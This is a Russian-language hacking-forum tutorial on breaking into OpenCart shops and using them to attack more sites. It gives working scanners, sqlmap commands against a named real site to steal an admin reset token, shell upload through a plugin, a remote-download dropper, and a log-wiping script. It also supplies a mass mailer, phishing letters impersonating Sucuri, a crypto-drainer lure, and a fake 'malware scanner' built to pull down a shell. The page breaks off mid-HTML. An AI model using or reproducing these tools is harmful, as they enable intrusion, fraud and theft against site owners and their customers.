• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Операция “СИ-Шелл” или как псевдолегитимные средства превращаются в инструменты вторжения

vagabond

Black Sails
Пользователь
Регистрация
04.01.2023
Сообщения
224
Реакции
262
Автор: vagabond
Источник: xss.pro


Введение
Получаем доступ к шопу на opencart.
Готовим список для рассылки
Делаем и устанавливаем рассыльник
Делаем первое письмо без вложения и рассылаем
Создаём второе письмо с вложенинием и рассылаем
Делаем скрипт проверки с отстуком в телеграм
Finita la comedia



sucuri.png

Sucuri (или Sucuriju) — это мифическое существо из индейской и бразильской мифологии, напоминающее огромную змею, часто ассоциируемую с природой и духами леса.

В некоторых историях Sucuri может превращаться в человека, чтобы проверить — не вредит ли кто лесу. Если вредит, наказывает. В водах Амазонки Sucuri управляет реками, вызывает наводнения или засуху. Её нельзя убивать, иначе придёт несчастье (высохнут реки, умрут деревья и животные).

А также это компания, которая помогает защитить сайты от вирусов, взломов и хацкеров. Она следит за безопасностью сайта, предупреждает, если что-то не так, и помогает быстро всё починить, если сайт уже заразили или атакуют. Компания довольно известная, многие ей доверяют, что мы с вами и будем сегодня использовать.

В данной статье я постараюсь рассказать как с помощью одной уязвимости можно захватить сайт и использовать его как плацдарм для захвата следующих сайтов. Тут будет хак, спам, СИ, chatgpt и вера, что все это было проделано не зря. Но, как правило, даже если у вас ничего из этого не выйдет, опыт который вы приобретаете помогает в других предприятиях.

Поехали...



ПОЛУЧАЕМ ДОСТУП К ШОПУ НА OPENCART



В начале нам понадобиться сайт, который мы сделаем своей площадкой для осуществления нашей многоходовочки. Чтобы работать на нём было комфортно, доступ к нему должен быть через шелл. Из корыстных побуждений я привык работать с интернет магазинами, а какая CMS нам позволяет быстро залить шелл в админку? Правильно - CMS Opencart. (Ну еще WordPress).

Уязвимость я выбрал вот эту многоуважаемого FantasticExploits. Она проста в реализации и позволяет нам быстро поломать несколько шопов из которых мы выберем тот, который нам больше всего подойдёт. Берем базу opencart доменов и любым удобным для вас способом парсим ее на:


domain/index.php?route=extension/module/newsletters/news
в ответе должна быть ключевая фраза "Email Already Exist"

Можно использовать скрипт для nuclei из статьи, а можно написать скрипт на питоне, типа:


Python:
import requests
import threading
import concurrent.futures
from colorama import Fore, Style, init
from datetime import datetime
import os

# Инициализация цветного вывода
init(autoreset=True)

# Настройки
THREADS = 20
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
HEADERS = {'User-Agent': USER_AGENT}
PATH = "/index.php?route=extension/module/newsletters/news"
GOOD_FILE = "good.txt"
lock = threading.Lock()

# Статистика
checked = 0
found = 0

# Список доменов
with open("opencart.txt", "r") as f:
    domains = [line.strip() for line in f if line.strip()]

total = len(domains)


def check_domain(domain):
    global checked, found

    url = domain.strip('/')
    full_url = f"{url}{PATH}" if url.startswith("http") else f"http://{url}{PATH}"

    try:
        response = requests.get(full_url, headers=HEADERS, timeout=10)
        checked += 1

        if "Email Already Exist" in response.text:
            with lock:
                found += 1
                with open(GOOD_FILE, "a") as f:
                    f.write(f"{domain}\n")
                print(Fore.GREEN + f"[FOUND] {domain}")
        else:
            print(Fore.YELLOW + f"[NO] {domain}")
    except requests.RequestException as e:
        print(Fore.RED + f"[ERROR] {domain} - {str(e)}")


def main():
    print(Fore.CYAN + "[*] Начало проверки...\n")
    start_time = datetime.now()

    with concurrent.futures.ThreadPoolExecutor(max_workers=THREADS) as executor:
        executor.map(check_domain, domains)

    duration = datetime.now() - start_time

    print(Style.BRIGHT + "\n[✔] Готово!")
    print(f"Проверено доменов: {checked}")
    print(Fore.GREEN + f"Найдено подходящих: {found}")
    print(Fore.CYAN + f"Время работы: {duration}")


if __name__ == "__main__":
    main()

Все скрипты будут в архиве в конце статьи. Также я туда добавил список доменов на opencart и скрипт очищения его от СНГ доменов.

Я же лично использовал свой собственный парсер на go.

Отпарсили, берем сайт zoozazo.com. Проверяем - , в ответе браузера есть "Email Already Exist", отлично. Запускаем sqlmap и пишем там:

Код:
sqlmap -u "https://zoozazo.com/index.php?route=extension/module/newsletters/news" --data="email=sdsd@dsd.dd*" --random-agent --batch --tamper=between --dbms=MySQL --technique=B --threads=10 --dbs

чтобы получить список баз на сервере. Если не сработало первый раз, попробуйте со второго. Иногда так работает 😁


sqlmap1.png

Код:
sqlmap -u "https://zoozazo.com/index.php?route=extension/module/newsletters/news" --data="email=sdsd@dsd.dd*" --random-agent --batch --tamper=between --dbms=MySQL --technique=B --threads=10 -D z0zo1oz -T oc_user -C username,email,code --dump


получаем список админов


sqlmap2.png

Идем сюда чтобы запросить восстановление пароля, потому что мы его не знаем

Код:
https://zoozazo.com/admin/index.php?route=common/forgotten

и вводим первое сверху мыло. Когда не знаешь какое вводить, вводи первое, чтобы потом не забыть какое ввёл :)

После запроса быстренько возвращаемся в sqlmap и пишем следующее чтобы получить токен:

Код:
sqlmap -u "https://zoozazo.com/index.php?route=extension/module/newsletters/news" --data="email=sdsd@dsd.dd*" --random-agent --batch --tamper=between --dbms=MySQL --technique=B --threads=1 -D z0zo1oz -T oc_user -C code --dump --flush-session

--threads=1, из-за интернет турбулентности ТОКЕН часто приходит с ошибкой, а этого лучше не допускать


sqlmap3.png

из токена формируем ссылку, которая уже пришла админу на мыло :) и ставим свой пасс на админку. Обратите внимание, что ошибку в токене лучше не допускать, дается только одна попытка. В токене 40 символов. Проверяйте символы в начале и в конце.

Код:
https://zoozazo.com/admin/index.php?route=common/reset&code=1aLZUw9IuhyHcSKfayBPdGOcgWV5tCyDMeSUNeul

zoozazo1.png

Заходим в админку и заливаем шел. Также можно добавить нового админа, но будет больше палева. Вообще в идеале это делать когда админы спят, но на моей памяти я не помню такого, чтобы админы реагировали моментально на попытки взлома, хотя это конечно зависит от рейтинга сайта и соотвественно от зарплаты этих самых админов.

Шелл заливается через установку дополнений. Несмотря на киркоровский язык этот раздел можно найти по значку "Пазла" в левом меню админки.


zoozazo2.png

Просто заливайте файл simplify-opencart-module.ocmod.zip , который вы найдёте в архиве и можете смело заходить по ссылке https://zoozazo.com/catalog/view/javascript/simplifycommerce/shell.php используя пароль 90210. Если же вы мне не доверяете, то перед установкой поменяйте мой шелл на свой.

Бывает такое, что дополнение не устанавливается, а вылетает непонятная ошибка (это срабатывает антивирь или с сервером что-то) то можно сделать такой финт ушами:

1. Заливаете на другой сервак архив mailer.zip куда запихиваете шелл
2. В архиве с дополнением оставляете только скрипт zip.php следующего содержания:

PHP:
<?php
// URL для загрузки ZIP-архива
$url = 'http://domain/mailer.zip';

// Имя файла, в который будет сохранен архив
$zipFile = 'mailer.zip';

// Загружаем ZIP-архив
file_put_contents($zipFile, file_get_contents($url));

// Проверяем, был ли архив загружен успешно
if (file_exists($zipFile)) {
    // Создаем новый объект ZipArchive
    $zip = new ZipArchive;

    // Открываем архив
    if ($zip->open($zipFile) === TRUE) {
        // Распаковываем содержимое в текущую директорию
        $zip->extractTo('.');
        $zip->close();
        echo 'Архив успешно распакован!';
    } else {
        echo 'Не удалось открыть архив.';
    }
} else {
    echo 'Не удалось загрузить архив.';
}
?>

И после установки дополнения запускаете:



при этом происходит аплоад архива с другого сервера и расспаковка его на таргете. После этого переходите опять на https://zoozazo.com/catalog/view/javascript/simplifycommerce/shell.php пароль 90210.

Если админы обнаружат и удалят это дополнение, то мы лешимся шелла, поэтому нам надо залиться в другое место и удалить это дополнение.

Берем шелл отсюда - https://github.com/cr1f/P.A.S.-Fork/ или в доп.материале к статье.
Вот тут энкриптим наш пароль и вставляем в шелл - https://10015.io/tools/sha512-encrypt-decrypt
По команде

Код:
php packer.php pas_fork.php PHAR CM

пакуем наш шелл и заливаем в шоп подальше, чтобы не попадался на админские глаза. Проверяем его работоспособность и удаляем установленное дополнение.

Чистим логи. Есть скрипт, который чистит логи Opencart.


PHP:
<?php
// clear_oc_logs.php

$logDir = __DIR__ . '/system/storage/logs';

function cli_echo($msg) {
    if (php_sapi_name() === 'cli') {
        echo $msg . PHP_EOL;
    } else {
        echo nl2br(htmlspecialchars($msg)) . "<br>";
    }
}

cli_echo("=== Очистка логов OpenCart ===");

if (!is_dir($logDir)) {
    cli_echo("[!] Лог директория не найдена: $logDir");
    exit;
}

$logFiles = glob($logDir . '/*.log');
$cleared = 0;

foreach ($logFiles as $file) {
    if (is_file($file) && is_writable($file)) {
        file_put_contents($file, '');
        cli_echo("[+] Очищен: " . basename($file));
        $cleared++;
    } else {
        cli_echo("[-] Нет доступа: " . basename($file));
    }
}

cli_echo("\n✔ Завершено. Очищено файлов: $cleared");

Как использовать:
Положите скрипт в корень Opencart (где index.php)
Откройте в браузере: https://domain/clear_oc_logs.php
Или запустите в консоли:
Код:
php clear_oc_logs.php

но это все ерунда, если у нас нет прав на стирание логов с сервера. Поэтому одевайте VPNы, соксы, используйте другие прокладки между собой и целью.




ГОТОВИМ СПИСОК ДЛЯ РАССЫЛКИ



Ну ок. Плацдарм у нас есть. Что дальше? А дальше нам нужен удобный способ сделать рассылку и список адресатов. Сначало адресаты. Это должны быть и не крупные шопы и не шопы пустышки. У крупных есть специально обученные люди, которые могут предотвращать наши попытки проникновения, так как наш способ имеет элементы СИ и человек более-менее разбирающийся в кибербезопасности может нам помешать. А нулевые шопы не представляют для нас никакой особенной ценности. Их разве что можно пустить на опыты или продать СЕОшникам за 5 баксов, пусть ставят на них свои ссылки :).

Также желательно чтобы этот шоп обладал какой-нить изюминкой, имел в своей базе данных ключи от различных мерчантов типа braintree, stripe или adyen. Продав хотябы один такой ключ можно будет считать нашу миссию успешной.

Берем базу сайтов на CMS WordPress (27kk domains) или лучше только Woocommerce (2.5kk domains). У WP есть маркетплейс плагинов по ссылке Используя поиск находим все плагины braintree и смотрим как их можно напарсить. Как известно плагины WP имеют readme.txt с содержанием версии, названия, требований, лицензии и т.п. Он находится по этому пути

Код:
 domain/wp-content/plugins/имя_плагина/readme.txt

Проанализировав скачанные плагины, составляем список для парсинга:

линки:

/wp-content/plugins/easy-digital-downloads/readme.txt
/wp-content/plugins/give/readme.txt
/wp-content/plugins/wp-simple-pay-pro-3/readme.txt
/wp-content/plugins/fluid-checkout/readme.txt
/wp-content/plugins/upsell-order-bump-offer-for-woocommerce/readme.txt
/wp-content/plugins/woocommerce-braintree-payment-gateway/readme.txt
/wp-content/plugins/woocommerce-gateway-paypal-powered-by-braintree/readme.txt
/wp-content/plugins/woo-one-click-upsell-funnel/README.txt
/wp-content/plugins/woo-payment-gateway/readme.txt
/wp-content/plugins/woo-paypal-gateway/readme.txt
/wp-content/plugins/stripe/readme.txt


и все они содержат ключевое слово: "Stable Tag:"

Пишем скрипт, который проходится по списку доменов c нашими линками и ищет ключевое слово "Stable Tag:". Все найденные разультаты записывает в good.txt. Конечно, для таких крупных списков надо что-то помощнее, но мы можем выкрутится следующими способами. Уменьшить сам список: убрать нерабочие домены, пропарсить только домены старше 10 лет, разбить список на части и запускать на нескольких VPS. Я парсил своей системой и у меня вышло около 6к рабочих доменов. Вот сам скрипт:


Python:
import requests
from concurrent.futures import ThreadPoolExecutor
from colorama import init, Fore, Style
from time import time
import threading

init(autoreset=True)
lock = threading.Lock()

USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
HEADERS = {'User-Agent': USER_AGENT}
GOOD_FILE = "good.txt"

# Загрузка списков
with open("domains.txt", "r", encoding="utf-8") as f:
    domains = [line.strip().strip("/") for line in f if line.strip()]

with open("links.txt", "r", encoding="utf-8") as f:
    links = [line.strip().lstrip("/") for line in f if line.strip()]

found_count = 0
checked_count = 0

def check_url(domain, link):
    global found_count, checked_count

    url = f"https://{domain}/{link}"
    try:
        response = requests.get(url, headers=HEADERS, timeout=10, allow_redirects=True)
        checked_count += 1

        # ищем 'stable tag:' без учёта регистра
        if "stable tag:" in response.text.lower():
            full_url = f"https://{domain}/{link}"
            print(Fore.GREEN + f"[FOUND] {full_url}")
            with lock:
                with open(GOOD_FILE, "a", encoding="utf-8") as good:
                    good.write(full_url + "\n")
                found_count += 1
        else:
            print(Fore.YELLOW + f"[NO TAG] {url}")
    except requests.exceptions.RequestException as e:
        print(Fore.RED + f"[ERROR] {url} - {e}")

def main():
    start_time = time()

    with ThreadPoolExecutor(max_workers=20) as executor:
        for domain in domains:
            for link in links:
                executor.submit(check_url, domain, link)

    elapsed = time() - start_time
    print(Style.BRIGHT + Fore.CYAN + "\n--- SCAN COMPLETED ---")
    print(Fore.GREEN + f"✔ Found: {found_count}")
    print(Fore.YELLOW + f"🔍 Checked: {checked_count}")
    print(Fore.CYAN + f"⏱ Duration: {elapsed:.2f} seconds")

if __name__ == "__main__":
    main()

В одной месте со скриптом должны быть файлы domains.txt и links.txt . Таймаут и количество воркеров регулируйте под свои мощности. Это займёт определенное время, поэтому лучше использовать VPS.

Идём дальше.

Теперь самое трудоёмкое. Для каждого сайта нам надо найти мыло для связи с администрацией и составить вот такой список:

domain1:email1
domain2:email2
domain3:email3
...

Переходим на каждый сайт и в контактах или в "О нас" ищем электропочту. Рутина, согласен. Можно отдать на аутсорс, но автоматизировать процесс не стоит. Я пробовал скриптом собирать с сайтов и из всяких who.is, но было очень много мусора. А так как у нас будет не SPAM, а скорее SPEAR phishing, то качество на данном этапе очень важно. Ок на, список есть. Переходим к установке рассыльника.



ДЕЛАЕМ И УСТАНАВЛИВАЕМ РАССЫЛЬНИК


При рассылке писем есть два основных способа отправки:

1. Функция mail() в PHP
Код:
mail("to@example.com", "Subject", "Message body", "From: sender@example.com");

2. SMTP-рассылка (внешние SMTP-серверы) через библиотеки типа PHPMailer.

В рамках данной статьи мы расмотрим первый вариант. Но никто не запрещает вам использовать и SMTP. В настройках шопа, который мы поломали можно найти данные от SMTP доступа и их использовать. Специальные тесты "что лучше, что хуже" при нашей схеме я не проводил. В этом нет никакого смысла. У каждого домена своя история, каждый сервер настроен по разному. Если письма с этого шопа не попадают в инбокс, то можно легко найти другой шоп. Когда я тестировал эту схему, то разослал с десятка шопов и результаты на https://www.mail-tester.com у всех были разные, но достаточные чтобы письмо летело в инбокс в 90% случаев.

Короче, пишем простой mail() скрипт и заливаем его на наш шоп:


PHP:
<?php
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '512M');
ignore_user_abort(true);
ob_implicit_flush(true);
echo str_pad('', 1024); flush();

define('DELAY_SECONDS', 1);
define('MAX_PER_RUN', 50);

$result = '';
$logs = [];

function replace_tags($text, $name) {
    $date = date('d.m.Y');
    $time = date('H:i');
    $domain = $_SERVER['HTTP_HOST'] ?? 'example.com';

    return str_replace(
        ['[name]', '[date]', '[time]', '[domain]'],
        [$name, $date, $time, $domain],
        $text
    );
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $raw_list = trim($_POST['to'] ?? '');
    $subject_template = $_POST['subject'] ?? '';
    $message_template = $_POST['message'] ?? '';
    $from = $_POST['from'] ?? '';
    $name_from = $_POST['name_from'] ?? '';
    $reply = $_POST['reply'] ?? '';
    $is_html = isset($_POST['is_html']);

    $lines = explode("\n", $raw_list);
    $recipients = [];

    foreach ($lines as $line) {
        $line = trim($line);
        if (strpos($line, ':') === false) continue;

        list($email, $name) = explode(':', $line, 2);
        $email = trim($email);
        $name = trim($name);

        if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $recipients[] = ['email' => $email, 'name' => $name];
        }
    }

    $success = 0;
    $fail = 0;
    $sent = 0;
    $total = count($recipients);

    echo "<div id='logbox' style='font-family: monospace; font-size:14px; max-height:300px; overflow-y:auto; background:#fafafa; padding:10px; border:1px solid #ccc; margin-top:20px; border-radius:8px;'></div>";
    echo "<script>updateProgress(0, $total);</script>"; flush();

    foreach ($recipients as $r) {
        if ($sent >= MAX_PER_RUN) {
            echo "<script>addLog('⚠ Достигнут лимит MAX_PER_RUN ($sent писем)', 'warn');</script>"; flush();
            break;
        }

        $email = $r['email'];
        $name = $r['name'];

        $subject = replace_tags($subject_template, $name);
        $message = replace_tags($message_template, $name);

        $boundary = md5(time() . rand());
        $headers = "From: \"$name_from\" <$from>\r\n";
        $headers .= "Reply-To: $reply\r\n";
        $headers .= "MIME-Version: 1.0\r\n";
        $headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n";

        $body = "--$boundary\r\n";
        $body .= "Content-Type: " . ($is_html ? "text/html" : "text/plain") . "; charset=utf-8\r\n";
        $body .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
        $body .= $message . "\r\n";

        if (!empty($_FILES['attachments']) && is_array($_FILES['attachments']['name'])) {
            foreach ($_FILES['attachments']['tmp_name'] as $i => $tmp_name) {
                if (!is_uploaded_file($tmp_name)) continue;

                $file_name = $_FILES['attachments']['name'][$i];
                $file_data = file_get_contents($tmp_name);
                $file_data = chunk_split(base64_encode($file_data));
                $mime_type = mime_content_type($tmp_name);

                $body .= "--$boundary\r\n";
                $body .= "Content-Type: $mime_type; name=\"$file_name\"\r\n";
                $body .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n";
                $body .= "Content-Transfer-Encoding: base64\r\n\r\n";
                $body .= $file_data . "\r\n";
            }
        }

        $body .= "--$boundary--";

        if (mail($email, $subject, $body, $headers)) {
            echo "<script>addLog('✅ Отправлено $email (для: $name)', 'ok');</script>"; flush();
            $success++;
        } else {
            echo "<script>addLog('❌ Ошибка отправки $email', 'fail');</script>"; flush();
            $fail++;
        }

        $sent++;
        echo "<script>updateProgress($sent, $total);</script>"; flush();
        sleep(DELAY_SECONDS);
    }

    $result = "📬 Успешно: $success | ❌ Ошибок: $fail | Всего: $sent";
}
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Рассылка писем</title>
    <style>
        body { font-family: Arial; background: #f9f9f9; padding: 20px; }
        form { background: #fff; padding: 20px; border-radius: 10px; box-shadow: 0 0 10px #ccc; max-width: 700px; margin: auto; }
        input, textarea, button { width: 100%; padding: 10px; margin-top: 10px; font-size: 14px; }
        input[type="checkbox"] { width: auto; margin-right: 5px; }
        .tip { background: #ffffcc; padding: 10px; font-size: 13px; border-radius: 5px; margin-top: 10px; }
        button { background-color: #4CAF50; color: white; border: none; cursor: pointer; }
        #progress-bar { width: 100%; background: #ddd; border-radius: 8px; overflow: hidden; margin-top: 15px; }
        #progress-inner { height: 20px; width: 0%; background: #4caf50; color: white; text-align: center; line-height: 20px; }
        .log-ok { color: green; }
        .log-fail { color: red; }
        .log-warn { color: orange; }
    </style>
</head>
<body>

<form method="post" enctype="multipart/form-data">
    <h2>📨 HTML Рассылка</h2>
    <textarea name="to" rows="5" placeholder="email:домен" required><?= htmlspecialchars($_POST['to'] ?? '') ?></textarea>
    <input type="text" name="subject" placeholder="Тема письма" value="<?= htmlspecialchars($_POST['subject'] ?? '') ?>" required>
    <textarea name="message" rows="5" placeholder="Текст письма" required><?= htmlspecialchars($_POST['message'] ?? '') ?></textarea>

    <div class="tip">
        Доступные теги: <code>[name]</code>, <code>[date]</code>, <code>[time]</code>, <code>[domain]</code>
    </div>

    <label><input type="checkbox" name="is_html" <?= isset($_POST['is_html']) ? 'checked' : '' ?>> HTML формат</label>
    <input type="text" name="name_from" placeholder="Имя отправителя" value="<?= htmlspecialchars($_POST['name_from'] ?? '') ?>" required>
    <input type="email" name="from" placeholder="Email отправителя" value="<?= htmlspecialchars($_POST['from'] ?? '') ?>" required>
    <input type="email" name="reply" placeholder="Reply-To email" value="<?= htmlspecialchars($_POST['reply'] ?? '') ?>" required>
    <input type="file" name="attachments[]" multiple>
    <div id="progress-bar"><div id="progress-inner">0%</div></div>
    <button type="submit">СТАРТ</button>
    <?php if (!empty($result)) echo "<p><strong>$result</strong></p>"; ?>
</form>

<script>
function updateProgress(current, total) {
    const percent = Math.round((current / total) * 100);
    const bar = document.getElementById("progress-inner");
    bar.style.width = percent + "%";
    bar.innerText = percent + "%";
}

function addLog(message, type) {
    const logbox = document.getElementById("logbox");
    const div = document.createElement("div");
    div.innerHTML = message;
    div.className = type === 'ok' ? 'log-ok' : type === 'fail' ? 'log-fail' : 'log-warn';
    logbox.appendChild(div);
    logbox.scrollTop = logbox.scrollHeight;
}
</script>

</body>
</html>

Вот так это выглядит в браузере:
mail.php.png




ДЕЛАЕМ ПЕРВОЕ ПИСЬМО БЕЗ ВЛОЖЕНИЯ И РАССЫЛАЕМ


Отсылаем тестовое письмо на https://www.mail-tester.com. Получаем вот такой результат https://www.mail-tester.com/test-yoqv576pa
Отправьте и на свою почту, посмотрите как оно будет выглядеть у адресата.



mailtester.png


mailtester2.png


Вот текст первого письма. Да, мы будет рассылать два письма. Первое с предупреждением и второе с крайним предупреждением и нагрузкой :)

=====================================
The Sucuri Team
no-reply@sucuri.net
no-reply@sucuri.net

Subject: Important Notice about [name]

Dear [name] owner,

We, the Sucuri team, would like to inform you that our security monitoring has detected suspicious activity on your website [name]. This may indicate the presence of malware or viruses that could threaten the security of your site and its visitors.

To avoid potential downtime or further issues, we strongly recommend that you perform a security check on your website as soon as possible. You can do this by visiting Sucuri SiteCheck - https://sitecheck.sucuri.net/.

We are here to assist you in this process and offer our services for cleaning and securing your website.

Please note that this email was generated automatically. There is no need to reply to this message.


Best regards,

The Sucuri Team
Address: 30141 Antelope Rd,
Menifee,
CA 92584,
United States


================================================

В верхнее поле адресатов надо вводить мыло и домен вот так:
email1:domain1
email2:domain2
email3:domain3
...

Вместо [name] наш рассыльник подставит домен, что персонализирует наше сообщение. Итак, разошлите 300-500 писем, добавляя в каждую партию контрольный емейл, чтобы быть уверенным что письма счастья доходят.


Небольшое отступление для тех, кто работает с дрейнерами.
Для привлечения и осушки кошелька клиента на сайт можно совместить эти темы: 1 и 2. На наш шоп ставим Coinbase Generator и с помощью встроенного рассыльника отправляем письмо похожего содержания:

================================
Dear Mr. Evans,

I hope this message finds you well. Julia has forwarded me your contract with us, which indicates that there is one outstanding payment remaining. As she mentioned, you have already received the two previous transactions. I am sending you the link for the third and final transaction.

As before, you will need to use the Coinbase Payments form. Simply connect your MetaMask (or similar) wallet, and the funds will be automatically transferred to your USDT account. Should you have any questions, I would be more than happy to assist you.

Thank you very much for your cooperation, and we look forward to continuing our partnership with you as one of our valued suppliers.

Wishing you a great day.



--

Best regards,
================================

Клиент может подумать, что письмо было отправлено ему по ошибке. Но у него есть доверие к этому сайту, так как он сам его нашел и делал покупки на нем. Также можно сыграть на жадности, что он может получить средства вместо кого-то.


Также можно просто использовать взломаный сайт как хостинг для своего дрейнера. Плюсы: экономия средст, трастовость домена и легенда, которую можно использовать в своих схемах.

drainer1.png


drainer2.png


Конец отступления.

Вернёмся к нашим баранам.




СОЗДАЁМ ВТОРОЕ ПИСЬМО С ВЛОЖЕНИЕМ И РАССЫЛАЕМ


Пока админы читают наше послание и проверяют свой шоп на уязвимости, мы приступим к созданию второго письма. Его можно будет послать через неделю, мы же мимикрируем под серьезную кантору, которая должна обрабатывать большое количество сайтов. Итак, во втором письме уже будет вложен php файл, который мы попросим админов разместить в корне своего сайта и запустить. Да, звучит дико, но есть небольшой процент кто ведется на это. Если он поверит что мы представляем серъезную организацию и пригрозим отключением его сайта и другими санкциями, которые могут негативно повлиять на бизнес, то он сделает все, чтобы оградить себя от проблем. Это в идеале, конечно. Но при определённых стечениях обстоятельств это возможно, главное все правильно сделать со своей стороны.

Для усиления нашей легенды желательно в оба письма вставить номер телефона и посадить оператора, который(ая) будет умным голосом отвечать на звонки и объяснять что куда нажать. Это вполне реальная тема, но я пока это не тестировал. Поэтому как это будет работать мне не известно.

Второе письмо будет более грозным. В нём мы укажем что замечен значительный рост вредоносной активности, поступающий с вашего сайта и что необходимо выполнить сканирование вашего сайта во избежание, так сказать..

Вот полный текст:

=====================================

subject: Urgent: Malware Activity Detected on Your Website [name]

Dear [name] Website Administrator,

Our monitoring system has detected a significant increase in malware activity originating from your website. We strongly urge you to perform an immediate malware scan to ensure the integrity and safety of your platform.

For your convenience, we have attached our malware scanner to this message. Please upload the scanner to the root directory of your website and execute it. Once the scan is complete, we recommend deleting the scanner file to maintain security.

Sincerely,

The Sucuri Team
Address: 30141 Antelope Rd,
Menifee,
CA 92584,
United States


====================================

К письму мы прикрепим файл scanner.php. Его нужно разместить в корне сайта, произвести сканирование и после этого удалить для секьюрности. Ремарка про удаление увеличивает доверие. Скрипт действительно сканирует файлы и ищет вот этот патерн - "shell_exec". После сканирования он создает отчет. Также предусмотрена функция отправки отчета на мыло. Только есть еще одна функция "scanFiles", которая качает с нашего ресурса txt файл, сохраняет его в папке wp-content и потом меняет ресширение скаченного файла на php. Как не трудно догадаться эта функция качает наш шелл.

Код скрипта полностью открыт. Только пути закодированы base64. Кодировать и раскодировать можно на всем известном зеленом сайте . Согласен, что знающий человек может легко раскодировать, узнать где лежит нагрузка, связаться с админом сайта, админ сотрёт и ппц. Риски есть всегда. Когда я тестировал систему, я переодичеси чекал сайт. Лежит или не лежит. Он до сих пор там :), главное выбрать заброшеный ресурс для места хранения, которых полно в инете.

Можно закодировать весь scanner.php целиком тем же пакером, ссылку на который я давал выше. Но, мне кажется это существенно снизит к нам доверие со стороны администрации сайтов.

Вот так это выглядит:


scanner.png

Вот его код:

PHP:
<?php
@ini_set('display_errors', 0);
@ini_set('display_startup_errors', 0);
@error_reporting(E_ALL);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '1024M');
@set_time_limit(0);
@ignore_user_abort(true);
ob_implicit_flush(true);
@ob_end_flush();
header('Content-Type: text/html; charset=utf-8');

session_start();

if (isset($_GET['pause'])) { $_SESSION['paused'] = true; exit; }
if (isset($_GET['resume'])) { $_SESSION['paused'] = false; exit; }
if (isset($_GET['stop'])) {
    $_SESSION = [];
    session_destroy();
    exit;
}

function getPhpFiles($path) {
    $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
    $self = realpath(__FILE__);
    $files = [];
    foreach ($rii as $file) {
        if ($file->isDir()) continue;
        if (strtolower(pathinfo($file, PATHINFO_EXTENSION)) === 'php') {
            if (realpath($file->getPathname()) !== $self) {
                $files[] = $file->getPathname();
            }
        }
    }
    return $files;
}


function sendEmailReport($reportUrl) {
    $to = 'admin@site.com';
    $subject = 'Malware Scan Report';
    $message = "Scan complete. View report: $reportUrl";
    $headers = "From: scanner@" . $_SERVER['HTTP_HOST'] . "\r\n" .
               "Content-Type: text/plain; charset=UTF-8";
    @mail($to, $subject, $message, $headers);
}

$suspicious = [
    'shell_exec'
];

if (isset($_GET['action']) && $_GET['action'] === 'scan') {
    if (!isset($_SESSION['files'])) {
        scanFiles();
        $_SESSION['files'] = getPhpFiles(__DIR__);
        $_SESSION['index'] = 0;
        $_SESSION['infected'] = [];
        $_SESSION['start'] = microtime(true);
    }

    $files = &$_SESSION['files'];
    $i = &$_SESSION['index'];
    $infected = &$_SESSION['infected'];
    $batch = 50;
    $count = count($files);

    for ($c = 0; $c < $batch && $i < $count; $c++, $i++) {
        $file = $files[$i];
        if (!file_exists($file)) continue;
        $content = @file_get_contents($file);
        if ($content === false) continue;

        echo "Scanning: {$file}<br>\n";
        foreach ($suspicious as $pattern) {
            if (preg_match("/{$pattern}/i", $content)) {
                $infected[] = "$file [Pattern: $pattern]";
                echo "<span style='color:red;'>THREAT: $file</span><br>\n";
                break;
            }
        }
        echo str_repeat(' ', 1024);
        flush();
    }

    if ($i >= $count) {
        $time = round(microtime(true) - $_SESSION['start'], 2);
        echo "<br>---SCAN COMPLETE---<br>\n";
        echo "Total: $count<br>\n";
        echo "Infected: " . count($infected) . "<br>\n";
        echo "Duration: {$time}s<br>\n";

        $reportPath = __DIR__ . '/scan_report.txt';
        $reportUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") .
                     "://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/scan_report.txt";

        file_put_contents($reportPath, implode("\n", $infected));
        @chmod($reportPath, 0644);

        if (!empty($infected)) sendEmailReport($reportUrl);

        echo "<br><a href='scan_report.txt' download>📄 Download Scan Report</a><br>\n";

        $_SESSION = [];
        session_destroy();
    } else {
        echo "<script>setTimeout(() => startScan(), 500);</script>\n";
    }
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Malware Scanner</title>
  <style>
    body { font-family: Arial, sans-serif; background: #f9f9f9; margin: 0; padding: 0; }
    .header { background: #222; color: white; padding: 15px; display: flex; align-items: center; }
    .header img { height: 40px; margin-right: 15px; }
    .header h1 { font-size: 20px; margin: 0; }
    .container { padding: 20px; }
    .output { background: #fff; padding: 15px; border: 1px solid #ccc; height: 300px; overflow-y: scroll; white-space: pre-wrap; font-family: monospace; }
    .scan-button { background: #5cb85c; color: white; border: none; padding: 10px 20px; font-size: 16px; border-radius: 5px; cursor: pointer; }
    .scan-button:hover { background: #4cae4c; }
    .external-link { margin: 20px 0; background: #e9f6ff; padding: 10px; border-left: 5px solid #337ab7; }
    .footer { background: #f1f1f1; padding: 20px; font-size: 12px; text-align: center; color: #666; border-top: 1px solid #ddd; margin-top: 30px; }
  </style>
</head>
<body>
  <div class="header">
    <img src="https://sucuri.net/wp-content/uploads/elementor/thumbs/Sucuri-Logo-qio221wlg9vvaaewra0jqjt8rf04jyn1vtdestgfmi.png" alt="Sucuri Logo">
    <h1>Website Malware Scanner</h1>
  </div>
  <div class="container">
    <button class="scan-button" onclick="startScan()">▶ Start Malware Scan</button>

    <div class="external-link">
      🔗 Want a second opinion? Try the free
      <a href="https://sitecheck.sucuri.net/?scan=https://<?= htmlspecialchars($_SERVER['HTTP_HOST']) ?>" target="_blank">
        <strong>Sucuri SiteCheck</strong>
      </a>
    </div>

